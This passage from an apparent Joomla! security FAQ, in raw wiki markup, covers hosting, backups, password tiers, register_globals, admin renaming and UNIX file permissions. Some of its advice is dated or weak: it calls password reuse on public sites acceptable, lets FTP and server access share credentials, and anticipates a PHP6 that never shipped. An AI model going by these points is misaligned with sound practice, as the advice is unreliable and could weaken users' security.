* &#039;&#039;&#039;Use Secure FTP:&#039;&#039;&#039; Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Set PHP register_globals OFF:&#039;&#039;&#039; The most security conscious hosts turn PHP&#039;s Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don&#039;t get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stay up-to-date:&#039;&#039;&#039; Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Avoid cheap shared servers:&#039;&#039;&#039; Be sure users on your shared server can&#039;t view each others files and databases, for example through shell accounts and cpanels.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Proactive server management:&#039;&#039;&#039; Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they&#039;ve responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Require raw log access:&#039;&#039;&#039; Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Performance matters:&#039;&#039;&#039; Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Data center:&#039;&#039;&#039; Choose a host that manages it&#039;s own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Know your neighbors:&#039;&#039;&#039; Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Consider recommendations:&#039;&#039;&#039; Check this [http://resources.joomla.org/directory/support-services/hosting.html list of recommended hosts].&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Grow with your site:&#039;&#039;&#039; As sites grow in complexity, resource requirements, and security requirements, they may need to be moved off of a shared server environment. At that point, good options include, 1) &#039;&#039;&#039;dedicated servers&#039;&#039;&#039; offer the best possible security and performance, but at the highest expense, 2) &#039;&#039;&#039;virtual servers&#039;&#039;&#039; offer almost all the advantages of a dedicated server, but the hardware and configuration cost is shared among multiple virtual servers.&lt;br /&gt;
&lt;br /&gt;
==What are the best practices for site backups?==&lt;br /&gt;
&lt;br /&gt;
: There are three traditional backup types--full, cumulative and differential.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Full Backups&#039;&#039;&#039; &lt;br /&gt;
: A complete backup of all associated files and database at a known point in time.&lt;br /&gt;
&lt;br /&gt;
: Both of these are considered Incremental backups, they can be used independently of each other or in conjunction with each other but always relate back to a FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Cumulative Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the differences since the last FULL backup, so each cumulative backup gets bigger each cycle as it is also backing up data previously backup, since the last FULL backup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Incremental Backups&#039;&#039;&#039; &lt;br /&gt;
: This is a backup of the changes since the previous backup of any type, i.e., full, cumulative, or incremental.&lt;br /&gt;
&lt;br /&gt;
: If you site is not too large, then FULL backups are the way to go, once a week at least. If your content changes quite regularly or more importantly cannot be recreated or is too costly to recreate, once a night or more may be more effective.&lt;br /&gt;
&lt;br /&gt;
: If time, server resources, or the rate of data change is too high to successfully obtain a FULL backup every night then the incremental backups are needed.&lt;br /&gt;
&lt;br /&gt;
: If you choose to use a cumulative backup following a weekly full, the backups each night will run quicker than a full backup, however as the week progresses, each nightly cumulative backup will increase in size and time, due to not only backing up the changes since last night&#039;s backup, but it also backing up all changes each night and previous nights since the last full backup was made. The benefit of this type of backup, in conjunction with full backups is the speed of restoration. To restore, you now only need to recover the most recent full and cumulative backups to fully recover all information.&lt;br /&gt;
&lt;br /&gt;
: If time or server resources are paramount or data change overwhelms cumulative backups, turn to differential backups, this style of backup when used in conjunction with a full backup will provide a very similar level of protection, but restoration will be slower. Differential backups will only backup changed data since the last backup of any type, not since the last full backup, as with a cumulative backup. Thus, when restoring data, you will need to recover the full backup, then each differential backup in turn (oldest first) in order to fully recover all information. This method also has the drawback of recovering any legitimately deleted files, potentially &amp;quot;over-filling&amp;quot; the file-system.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Data Protection Best Practice says&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# You should be able to completely recover from a catastrophic failure from at least two previous full backups. Just in case the most recent full backup is damaged, lost, or corrupt.&lt;br /&gt;
# A good backup regime should contain at least one full backup within a chosen cycle, normally weekly.&lt;br /&gt;
# A good backup practice is to store backups away from the current data location, preferably off site.&lt;br /&gt;
# Dynamic data should be backed up &#039;&#039;offline&#039;&#039; or &#039;&#039;hot&#039;&#039; to avoid &#039;&#039;fuzzy&#039;&#039; backups (data is changing as you back it up, potentially leading to related information not being in sync when backed up.&lt;br /&gt;
&lt;br /&gt;
: For the average Web site, a daily or weekly full backup of both site files and database records is normally more than enough. Keeping a number of backups for a period of time is always a good plan, maybe keep each weekly backup for one month. This allows you to recover an old site in the case of emergencies or if for some reason you have local backup file corruption.&lt;br /&gt;
&lt;br /&gt;
: There are many PHP and Perl scripts on the Web that can be automated through CRONTAB and can either email (if small enough) or FTP the backup files to an off- or cross- server location. Remember that to some degree with Joomla! you already have an instant backup of the core files, if you haven&#039;t modified core, the Joomla! distribution files can be easily restored. Then you need only worry about backing up changed files and the database.&lt;br /&gt;
&lt;br /&gt;
==Where can I learn about vulnerable extensions?==&lt;br /&gt;
* See the [http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable Extensions List]&lt;br /&gt;
&lt;br /&gt;
==Where can I learn more about file permissions?==&lt;br /&gt;
&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/113-joomla-and-unix-file-permissions-explanation.html Unix Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/112-joomla-and-windows-file-permissions-explanation.html Windows Permissions Primer]&lt;br /&gt;
* [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/111-permissions-under-phpsuexec.html Using phpSuExec]&lt;br /&gt;
&lt;br /&gt;
==How do I setup a powerful password scheme?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Most users may not need more than 3 levels of passwords and webmasters no more than 5. Each level must be completely unrelated to the others in terms of which ids and passwords are used.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 5 (Public)&#039;&#039;&#039; - is the password you use on public sites. It is not imperative that you use a different password on every site. In fact it&#039;s more effective to use a different username on every site than it is to use a different password truth be told! Knowing the username allows easy hacking...half the work is done! knowing the password is useless unless you know what account it goes to!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 4 (Webmaster)&#039;&#039;&#039; - Reserved for SQL Only. this is a password that would only be used by SQL and limited to a specific database in SQL. The best way to protect SQL is by limiting each account to just being able to do the minimum that DB requires. In some cases it is even wise to have a read only account for display and a separate write account that the backend write functions use. But that doesn&#039;t apply to J! at all... for J! the best practice is to set up an individual account (not root for sure) that only has read and write access to the J! DB nothing else.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 3 (Webmaster)&#039;&#039;&#039; - FTP and Server Access. these can be the same user:pass combo since both if compromised can do the most damage. doesn&#039;t matter if the backend or Cpanel is safe if the FTP is not and the same goes the other way!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 2 (Personal Data Access)&#039;&#039;&#039; - This password should be used for any sites or locations that contain personal data with the exception of Banking (see level 1). these sites are often used for social engineering data such as medical records, service accounts and any financial records not directly related to banking! You want these to be secure but also different from the real threat of security...your money!&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http://joomlacode.org/gf/project/jts/&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
